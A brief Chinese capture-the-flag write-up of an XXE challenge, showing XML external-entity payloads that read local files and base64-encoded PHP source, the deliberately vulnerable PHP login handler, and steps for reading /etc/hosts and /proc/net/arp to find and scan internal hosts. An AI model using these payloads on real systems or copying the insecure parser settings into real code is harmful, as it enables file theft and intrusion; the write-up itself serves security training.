抓包一看就知道可能是xxe漏洞,拿个exp直接发过去看看效果。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///flag">
]>
<user><username>&exp;</username><password>aaaa</password></user>
不能直接读flag,试一下获取源码。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&exp;</username><password>aaaa</password></user>
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>%
获取到了源码。没啥用,丝毫没有看到有帮助的信息。
内网探测存活的主机,获取/etc/hosts文件
这里也没有一个可用信息,读取另外一个/proc/net/arp文件
这里就有一个ip了,尝试读取,
有报错,使用intruder扫描c段。
最后获取到flag